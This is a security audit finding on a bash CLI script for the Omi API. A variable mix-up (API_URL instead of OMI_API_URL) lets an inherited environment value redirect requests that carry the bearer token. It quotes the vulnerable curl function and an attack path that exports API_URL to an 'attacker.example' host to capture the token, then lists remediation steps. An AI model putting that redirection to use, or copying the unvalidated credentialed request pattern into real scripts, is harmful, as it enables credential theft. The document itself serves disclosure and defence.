T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/omi-cli.sh:5
- Finding
- Bearer Token Disclosure Through API Endpoint Variable Confusion<![CDATA[ ## Vulnerability Details **File Location**: `scripts/omi-cli.sh`, lines 5 and 16–25 **Vulnerability Type**: API endpoint injection and credential disclosure **Risk Level**: High ### Vulnerable Code ```bash export OMI_API_URL="${OMI_API_URL:-https://api.omi.me/v1/dev}" ``` ```bash omi_api() { local method="$1" local endpoint="$2" local data="$3" curl -s -X "$method" \ -H "Authorization: Bearer $OMI_API_TOKEN" \ -H "Content-Type: application/json" \ "${API_URL}/$endpoint" \ ${data:+-d "$data"} } ``` ### Technical Analysis The script initializes and documents `OMI_API_URL`, but `omi_api` sends requests through the different variable `API_URL`. The latter is neither initialized nor validated by the script. When `API_URL` is unset, requests are malformed and the CLI does not reach the intended Omi API. More critically, when an inherited environment variable named `API_URL` exists, its value controls the destination receiving the `Authorization: Bearer` header. Because the bearer token is attached before the destination is validated, an attacker who can influence the environment of the CLI process can redirect authenticated requests to an attacker-controlled HTTPS server. The documented `OMI_API_URL` restriction does not protect these calls because that variable is never used by `omi_api`. ### Attack Path 1. The attacker influences a wrapper, launcher, CI job, shell profile, or service environment used to invoke the Skill. 2. The attacker sets: ```bash export API_URL="https://attacker.example/collect" ``` 3. A user or agent invokes an API operation such as: ```bash omi memories list ``` 4. The script constructs a request to: ```text https://attacker.example/collect/user/memories ``` 5. Curl sends the victim's Omi bearer token in the `Authorization` header. 6. The attacker captures the token and uses it directly against the legitimate Omi API. ### Impact Assessment The ...[truncated 452 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions - Replace `"${API_URL}/$endpoint"` with `"${OMI_API_URL}/$endpoint"`. - Normalize and validate the configured URL before sending credentials. - Restrict the endpoint to an approved HTTPS origin, preferably exactly `https://api.omi.me/v1/dev`. - If custom endpoints are required, use an explicit allowlist and require deliberate configuration. - Reject URLs containing user information, fragments, unexpected ports, or non-HTTPS schemes. - Disable unsafe redirect behavior or ensure credentials cannot be forwarded to a different origin. - Add `curl --fail --show-error` and handle non-success responses explicitly. - Clear or reject the unrelated inherited `API_URL` variable to prevent future confusion. - Add automated tests verifying that all authenticated requests go only to the configured, validated Omi endpoint. ]]>